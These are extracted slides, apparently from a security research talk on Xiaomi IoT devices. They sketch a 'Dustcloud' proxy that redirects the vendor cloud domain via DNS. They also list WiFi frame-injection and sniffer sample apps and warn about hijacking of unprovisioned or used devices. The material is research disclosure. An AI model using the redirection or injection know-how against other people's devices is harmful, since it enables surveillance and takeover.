Proxy cloud communication

Dustcloud

ot.io.mi.com:80(tcp)
ott.io.mi.com:8053(udp)

IPC plain json (tcp) enc(key) json (tcp/udp) enc(token) json (udp)

Android/ iPhone App

DNS Records
130.83.x.x ot.io.mi.com
130.83.x.x ot.io.mi.com

<-commands, reports->
Proxy cloud communication

Dustcloud

ot.io.mi.com:80/tcp
ott.io.mi.com:8053/udp

IPC
plain json (tcp)
enc(key) json (tcp/udp)
en(token) json (udp)

Android/ iPhone App

DNS Records
130.83.x.x ot.io.mi.com
130.83.x.x ot.io.mi.com

<--commands, reports-->
Other Possible Modifications

• Marvell 88MW30x SDK WiFi sample apps
  – p2p_demo
  – raw_p2p_demo
  – wlan_frame_inject_demo
  – wlan_sniffer
One word of warning...

- Never leave your devices unprovisioned
  - Someone else can provision it for you
    - Install malicious firmware
    - Snoop on your apartment
- Be careful with used devices
  - e.g. Amazon Marketplace
  - Some malicious software may be installed
Acknowledgements & FAQ

- Secure Mobile Networking (SEEMOO) Labs and CROSSING S1
- Prof. Guevara Noubir (CCIS, Northeastern University)

→ www.dontvacuum.me

*Will be updated after the ReCon ;)*
Final remarks

• I (Dennis) want to personally thank the “Studienstiftung des deutschen Volkes” (SDV) for their scholarship and support for my graduate study. Without them I probably would not have time to do this research.

• This research was not financed by Xiaomi nor any competitor. The research was founded by my private funds and was done in our free time.